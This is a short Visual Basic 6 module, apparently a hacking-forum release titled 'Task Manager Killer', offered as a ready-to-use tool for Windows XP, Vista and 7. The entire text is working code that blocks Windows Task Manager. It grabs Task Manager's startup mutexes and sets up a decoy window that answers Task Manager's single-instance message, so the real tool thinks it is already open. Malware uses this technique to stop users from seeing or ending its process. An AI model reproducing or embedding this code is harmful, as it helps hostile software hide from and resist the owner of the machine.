TASK MANAGER KILLER

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mKillTaskMgr
' Author    : S!M0N
' Now$      : 07/09/09 16:03
' Used for? : Disable TaskMgr
' Tested On : Windows XP, Windows Vista, Windows 7
' Thanks    : SkyWeb -> Support and Test (W$ Seven & Vista)
'---------------------------------------------------------------------------------------

'KERNEL32
Private Declare Function CreateMutexW Lib "KERNEL32" (ByRef lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpuName As Long) As Long
Private Declare Function FreeLibrary Lib "KERNEL32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
'USER32
Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function LoadString Lib "USER32" Alias "LoadStringA" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long
Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private lpPrev      As Long

Public Sub DisableTaskMgr()
    Call CreateMutexW(ByVal 0&, False, StrPtr("NTShell Taskman Startup Mutex"))                         'Windows XP
    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0"))    'Windows 7
    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\NTShell Taskman Startup Mutex"))                   'Windows Vista
    lpPrev = SetWindowLong(CreateWindowEx(&H40000, "#32770", GetTaskWinName, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&), (-4), AddressOf WndProc)
End Sub

Private Function GetTaskWinName() As String
    Dim hInst       As Long
    Dim sTMP        As String * 256

    hInst = LoadLibrary(Environ$("SYSTEMROOT") & "\SYSTEM32\TaskMgr.exe")
    If hInst Then
        GetTaskWinName = Left$(sTMP, LoadString(hInst, &H2713, sTMP, Len(sTMP)))
        Call FreeLibrary(hInst)
    End If
End Function

Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    If uMsg = &H40B Then
        WndProc = &H40B
    Else
        WndProc = CallWindowProc(lpPrev, Hwnd, uMsg, wParam, lParam)
    End If
End Function